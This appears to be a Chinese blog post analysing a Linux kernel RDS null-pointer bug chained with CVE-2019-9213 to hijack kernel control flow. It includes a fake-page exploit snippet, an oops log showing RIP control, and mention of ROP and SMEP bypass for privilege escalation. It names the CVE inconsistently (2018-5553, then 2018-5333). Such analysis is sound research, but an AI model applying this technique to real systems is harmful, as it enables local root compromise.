0x00分析:
关于CVE-2019-9213前面一篇文章已经介绍的非常详细了,有了写地址0的机会,现在就需要一个null pointer dereference的洞,并且能够通过这个洞劫持程序流。引入今天的主角--
CVE-2018-5553,这是一个关于rds的洞,来看看是如何触发null pointer dereference的。
static int rds_cmsg_send(struct rds_sock *rs, struct rds_message *rm,
struct msghdr *msg, int *allocated_mr,
struct rds_iov_vector_arr *vct)
{
struct cmsghdr *cmsg;
int ret = 0, ind = 0;
for_each_cmsghdr(cmsg, msg) {
...
switch (cmsg->cmsg_type) {
...
case RDS_CMSG_ATOMIC_CSWP:
case RDS_CMSG_ATOMIC_FADD:
case RDS_CMSG_MASKED_ATOMIC_CSWP:
case RDS_CMSG_MASKED_ATOMIC_FADD:
ret = rds_cmsg_atomic(rs, rm, cmsg);
break;
rds_cmsg_send
是通过系统调用sendmsg
来触发,socket类型设置为pf_rds
。接着看rds_cmsg_atomic
分支。
这个地方需要先稍微了解一下sendmsg
这个系统调用。
sendmsg(int socket, const struct msghdr *message, int flags);
struct msghdr
结构如下:
struct msghdr {
void *msg_name; /* ptr to socket address structure */
int msg_namelen; /* size of socket address structure */
struct iov_iter msg_iter; /* data */
void *msg_control; /* ancillary data */
__kernel_size_t msg_controllen; /* ancillary data buffer length */
unsigned int msg_flags; /* flags on received message */
struct kiocb *msg_iocb; /* ptr to iocb for async requests */
};
其中msg_control字段是可以用来针对特定协议来传递数据的,其长度为msg_controllen。这个msg_control也指向一个标准的结构struct cmsghdr
struct cmsghdr {
__kernel_size_t cmsg_len; /* data byte count, including hdr */
int cmsg_level; /* originating protocol */
int cmsg_type; /* protocol-specific type */
};
这个结构还有一个隐式的字段unsigned char cmsg_data[]
用来保存传递的数据,供特定的协议使用。
int rds_cmsg_atomic(struct rds_sock *rs, struct rds_message *rm,
struct cmsghdr *cmsg)
{
struct page *page = NULL;
struct rds_atomic_args *args;
int ret = 0;
...
args = CMSG_DATA(cmsg);
...
rm->atomic.op_notify = !!(args->flags & RDS_RDMA_NOTIFY_ME);
rm->atomic.op_silent = !!(args->flags & RDS_RDMA_SILENT);
rm->atomic.op_active = 1;//111111111111111
rm->atomic.op_recverr = rs->rs_recverr;
rm->atomic.op_sg = rds_message_alloc_sgs(rm, 1, &ret);//2222222
if (!rm->atomic.op_sg)
goto err;
/* verify 8 byte-aligned */
if (args->local_addr & 0x7) {
ret = -EFAULT;
goto err;
}
ret = rds_pin_pages(args->local_addr, 1, &page, 1);
if (ret != 1)
goto err;
ret = 0;
sg_set_page(rm->atomic.op_sg, page, 8, offset_in_page(args->local_addr));
回到rds的处理之中,rds_cmsg_atomic
中cmsg
便来自于上面用户传递的结构。其中args
也是指向cmsg
中的data部分。
上面的整个过程就是设置atomic
类型请求的rds_message
结构,有两个点在这里需要注意:
rm->atomic.op_active = 1; //标志已经初始化,可用状态。
...
rm->atomic.op_sg = rds_message_alloc_sgs(rm, 1, &ret);
第二个点是设置scatterlist
物理内存的散列表,主要是供DMA使用。关于这一点在分配rds_message
这个结构的时候也可以注意到:
struct rds_message *rds_message_alloc(unsigned int extra_len, gfp_t gfp)
{
struct rds_message *rm;
if (extra_len > KMALLOC_MAX_SIZE - sizeof(struct rds_message))
return NULL;
rm = kzalloc(sizeof(struct rds_message) + extra_len, gfp);
if (!rm)
goto out;
rm->m_used_sgs = 0;
rm->m_total_sgs = extra_len / sizeof(struct scatterlist);
...
out:
return rm;
}
这个extra_len就是scatterlists的大小:
static int rds_rm_size(struct msghdr *msg, int num_sgs,
struct rds_iov_vector_arr *vct)
{
...
switch (cmsg->cmsg_type) {
case RDS_CMSG_ATOMIC_CSWP:
case RDS_CMSG_ATOMIC_FADD:
case RDS_CMSG_MASKED_ATOMIC_CSWP:
case RDS_CMSG_MASKED_ATOMIC_FADD:
cmsg_groups |= 1;
size += sizeof(struct scatterlist);
break;
...
size += num_sgs * sizeof(struct scatterlist);
而上面的rds_message_alloc_sgs
这一步就是获取rds_message
后面的scatterlist
,显然这些scatterlists都是初始化状态,并未分配真正的page,回到原先的rds_cmsg_atomic
:
if (args->local_addr & 0x7) {
ret = -EFAULT;
goto err;
}
ret = rds_pin_pages(args->local_addr, 1, &page, 1);
if (ret != 1)
goto err;
ret = 0;
sg_set_page(rm->atomic.op_sg, page, 8, offset_in_page(args->local_addr));
args指向是用户内存,首先判断args->local_addr
地址对齐,然后使用rds_pin_pages
获取用户page,再把scatterlist设置为这个page。上面有两个地方有错误处理:
err:
if (page)
put_page(page);
kfree(rm->atomic.op_notifier);
return ret;
出错以后释放掉了rm->atomic.op_notifier
,整个rds_sendmsg也宣告结束,之后会释放掉rds_message这个结构。
static void rds_message_purge(struct rds_message *rm)
{
unsigned long i, flags;
bool zcopy = false;
...
if (rm->rdma.op_active)
rds_rdma_free_op(&rm->rdma);
if (rm->rdma.op_rdma_mr)
rds_mr_put(rm->rdma.op_rdma_mr);
if (rm->atomic.op_active)
rds_atomic_free_op(&rm->atomic);
if (rm->atomic.op_rdma_mr)
rds_mr_put(rm->atomic.op_rdma_mr);
}
如果进入先前两个错误处理任意其中一个,返回的时候,并没有指定
rm->atomic.op_active=0
,所以这里会进入rds_atomic_free_op
:
void rds_atomic_free_op(struct rm_atomic_op *ao)
{
struct page *page = sg_page(ao->op_sg);
/* Mark page dirty if it was possibly modified, which
* is the case for a RDMA_READ which copies from remote
* to local memory */
set_page_dirty(page);
put_page(page);
kfree(ao->op_notifier);
ao->op_notifier = NULL;
ao->op_active = 0;
}
很显然这里出问题了,发生错误之前并没有去设置对应scatterlist
的page,再细看是怎么拿到page的:
static inline struct page *sg_page(struct scatterlist *sg)
{
return (struct page *)((sg)->page_link & ~(SG_CHAIN | SG_END));
}
这里讲一下scatterlist结构page_link的0bit 和 1bit位置上是标志sg_chain和sg_end的flag,所以这里是4对齐。显然初始化状态下的page_link等于0.所以后面在操作page结构的时候,就产生了null pointer dereference。所以这里修复也很简单,只需要在上面错误返回的时候,设置一下rm->atomic.op_active=0
,就可以避免这个问题。
现在两个漏洞都有了,结合起来怎么用呢? 理论上我们这里是可以伪造一个page结构,第一想法,看page结构上是否有函数指针调用的过程。但是还是得顺着开始的流程来看:
void rds_atomic_free_op(struct rm_atomic_op *ao)
{
struct page *page = sg_page(ao->op_sg);
/* Mark page dirty if it was possibly modified, which
* is the case for a RDMA_READ which copies from remote
* to local memory */
set_page_dirty(page);
put_page(page);
kfree(ao->op_notifier);
ao->op_notifier = NULL;
ao->op_active = 0;
}
看set_page_dirty
处理过程:
int set_page_dirty(struct page *page)
{
struct address_space *mapping = page_mapping(page);
page = compound_head(page);
if (likely(mapping)) {
int (*spd)(struct page *) = mapping->a_ops->set_page_dirty;
...
return (*spd)(page);
}
}
运气似乎不错,如果这个mapping是从page上的字段,那么这一切就变的简单了。
struct address_space *page_mapping(struct page *page)
{
struct address_space *mapping;
page = compound_head(page);
/* This happens if someone calls flush_dcache_page on slab page */
if (unlikely(PageSlab(page)))
return NULL;
if (unlikely(PageSwapCache(page))) {
swp_entry_t entry;
entry.val = page_private(page);
return swap_address_space(entry);
}
mapping = page->mapping;
if ((unsigned long)mapping & PAGE_MAPPING_ANON)
return NULL;
return (void *)((unsigned long)mapping & ~PAGE_MAPPING_FLAGS);
}
第一个注意的点:
page = compound_head(page);
static inline struct page *compound_head(struct page *page)
{
unsigned long head = READ_ONCE(page->compound_head);
if (unlikely(head & 1))
return (struct page *) (head - 1);
return page;
}
这里是可以通过page->compound_head
改变page的指向,可能有用。
第二点是要避免进入下面逻辑:
if (unlikely(PageSwapCache(page))) {
swp_entry_t entry;
entry.val = page_private(page);
return swap_address_space(entry);
}
这个比较好弄,这是通过比较page->flags
bit位来判断,所以这里只需要把page->flags
置零就行。最后经过下面的对齐返回mapping:
mapping = page->mapping;
if ((unsigned long)mapping & PAGE_MAPPING_ANON)
return NULL;
return (void *)((unsigned long)mapping & ~PAGE_MAPPING_FLAGS);
所以这里有上面三个注意点,再通过mapping拿到mapping->a_ops->set_page_dirty
,这里有一个技巧,要充分利用0地址,避免再去重新申请内存。这里a_ops
可以设置为0,mapping不能设置为0,这里有一个冲突,需要解决,当page设置成0不变的时候,a_ops也为0的时候:
page->mapping == ((char *)page)+0x18
a_pos->set_page_dirty == ((char *)a_pos)+0x18
所以这里最好是通过compound_head(head)
,改变一下page,把paga指到其他用户空间上,例如栈上:
char str[1000];
map_null_address();
unsigned long *data = (unsigned long *)0;
memset(str,0,1000);
*((unsigned long *)(str+0x18)) = str;
data[1] = str+1;
data[3] = 0xffffffffdeadbeaf;
trigger_null_pointer_ref();
从oops报错上可以看到最后是走到了预期的位置上。
[ 2515.888056] BUG: unable to handle kernel paging request at ffffffffdeadbeaf
[ 2515.888056] PGD 200e067 P4D 200e067 PUD 2010067 PMD 0
[ 2515.888056] Oops: 0010 [#3] SMP PTI
[ 2515.888056] CPU: 0 PID: 113 Comm: test Tainted: G D 4.20.0+ #1
[ 2515.888056] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-1 04/01/2014
[ 2515.888056] RIP: 0010:0xffffffffdeadbeaf
[ 2515.888056] Code: Bad RIP value.
[ 2515.888056] RSP: 0018:ffffc90000173b98 EFLAGS: 00000286
[ 2515.888056] RAX: ffffffffdeadbeaf RBX: ffff888005a2d928 RCX: 0000000000000000
[ 2515.888056] RDX: ffffffff8129b340 RSI: 0000000000000246 RDI: 00007ffce69d17f0
[ 2515.888056] RBP: 0000000000000000 R08: 0000000000000001 R09: 00000007ffca66b2
[ 2515.888056] R10: 0000000000000000 R11: 0000000000000001 R12: 0000000000000000
[ 2515.888056] R13: 0000000000000246 R14: ffff888005a2d8e8 R15: 0000000000000000
[ 2515.888056] FS: 00000000019b3880(0000) GS:ffff888007200000(0000) knlGS:0000000000000000
再根据当前各寄存器的状态xchg切栈到用户内存上,实现提权的ROP,当然你也可以写CR4去绕SMEP这都是常规思路 )
最开始我拉的是patch CVE-2018-5333之前最后一次commit,但是编译起来错误很多,尽管最后我手动patch了很多处,终于编译成功了。但是qemu还是运行不起来,果断放弃了,还是选择了patch CVE-2019-9213之前最后一次commit,然后手动删掉了关于CVE-2018-5333的patch,还有这里编译之前记得开RDS的配置。
相对来说这里是比较简单劫持流,这是我没有预想到的。有了CVE-2019-9213很多其他的漏洞就变成了可能,下一次我想分析一个复杂一点伪造相关结构劫持程序流的洞,最后还是觉得是比较有趣的一次经历!